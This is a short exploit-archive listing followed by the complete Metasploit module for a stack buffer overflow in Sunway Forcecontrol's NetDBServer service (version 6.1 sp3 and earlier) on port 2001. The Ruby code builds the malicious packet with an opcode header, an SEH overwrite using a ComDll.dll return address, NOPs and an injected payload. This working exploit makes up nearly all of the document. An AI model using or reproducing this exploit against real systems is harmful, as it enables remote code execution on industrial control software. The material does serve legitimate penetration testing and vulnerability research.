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Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57

Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57
Posted Feb 3, 2012
Authored by Luigi Auriemma, James Fitts, Rinat Ziyayev | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow found in the SNMP NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is triggered when sending an overly long string to the listening service on port 2001.

tags | exploit, overflow
MD5 | 698866532ad1b54414eac7c2b563cab3

Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
'Description' => %q{
This module exploits a stack based buffer overflow found in the SNMP
NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
triggered when sending an overly long string to the listening service
on port 2001.
},
'Author' => [
'Luigi Auriemma', # original discovery
'Rinat Ziyayev',
'James Fitts'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '49747' ],
[ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => 'true',
'BadChars' => "\x0a\x0d\xae",
},
'Platform' => 'win',
'Targets' =>
[
[
# p/p/r ComDll.dll
'Windows', { 'Ret' => 0x100022c4 }
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 22 2011'))

register_options(
[
Opt::RPORT(2001)
], self.class )
end

def exploit
connect

header = "\xeb\x50\xeb\x50"
header << "\x57\x00" # packet type
header << "\xff\xff\x00\x00"
header << "\x01\x00"
header << "\xff"

footer = "\r\n"

packet = rand_text_alpha_upper(65535)
packet[0,header.length] = header
packet[293,8] = generate_seh_record(target.ret)
packet[301,20] = make_nops(20)
packet[321,payload.encoded.length] = payload.encoded
packet[65533,2] = footer

print_status("Trying target %s..." % target.name)

sock.put(packet)

handler
disconnect
end

end

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